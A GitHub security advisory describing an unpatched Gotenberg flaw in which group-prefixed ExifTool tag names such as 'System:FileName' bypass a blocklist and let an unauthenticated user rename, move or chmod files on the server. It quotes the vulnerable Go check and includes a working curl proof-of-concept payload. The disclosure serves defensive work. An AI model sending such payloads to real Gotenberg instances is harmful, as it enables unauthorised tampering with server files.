GitHub Security Advisory: GHSA-62p3-hvxx-fxg4
Package: github.com/gotenberg/gotenberg/v8 (GO)
Severity: HIGH (CVSS 8.2)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: <= 8.30.1
Patched in: unpatched

Summary: Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move

Details:
### Summary

Gotenberg blocks certain ExifTool tag names like `FileName` and `Directory` to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — `System:FileName` — which does the exact same thing. Gotenberg only checks if the tag is exactly `FileName`, so `System:FileName` slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.

This bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).

### Details

Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named **John**." A person shows up and says "I'm **Mr. John**." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.

That's exactly what happens here:

**The blocklist** (`exiftool.go` line 275-280) blocks these tag names:

```
FileName
Directory
HardLink
SymLink
```

**The check** (`exiftool.go` line 295-301) compares what the user sent against this list:

```go
if strings.EqualFold(key, tag) {   // is "System:FileName" equal to "FileName"?
    delete(metadata, key)            // no — so it's NOT deleted
}
```

`System:FileName` is not equal to `FileName` (one is 16 characters, the other is 8), so it passes through.

**But ExifTool treats them as the same thing.** In ExifTool, `System:` is just a group prefix — like a folder name before the tag. `System:FileName` and `FileName` both mean "rename this file." The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *"A tag name may include leading group names separated by colons."*

**Why the colon is allowed:** The key validation regex (`exiftool.go` line 31) explicitly permits colons:

```go
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
//                                                    ^ colon is allowed
```

So the full chain is:

1. Attacker sends `System:FileName` → passes the regex (colon is allowed)
2. `System:FileName` → passes the blocklist (it's not equal to `FileName`)
3. ExifTool receives `System:FileName` → treats it as `FileName` → **renames the file**

**Bonus finding:** The `FilePermissions` tag is not in the blocklist at all. Sending `{"FilePermissions": "rwxrwxrwx"}` tells ExifTool to chmod the file, and nothing stops it.

### PoC

**Setup — start Gotenberg with default settings:**

```bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
```


**Create a folder inside the container where we'll move the file to:**

```bash
docker exec gotenberg-poc mkdir -p /tmp/evil
```

**Send the attack — one curl command:**

```bash
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F 'files=@any-pdf-file.pdf' \
  -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'
```

This returns HTTP 404 because the file got moved before the server could return it.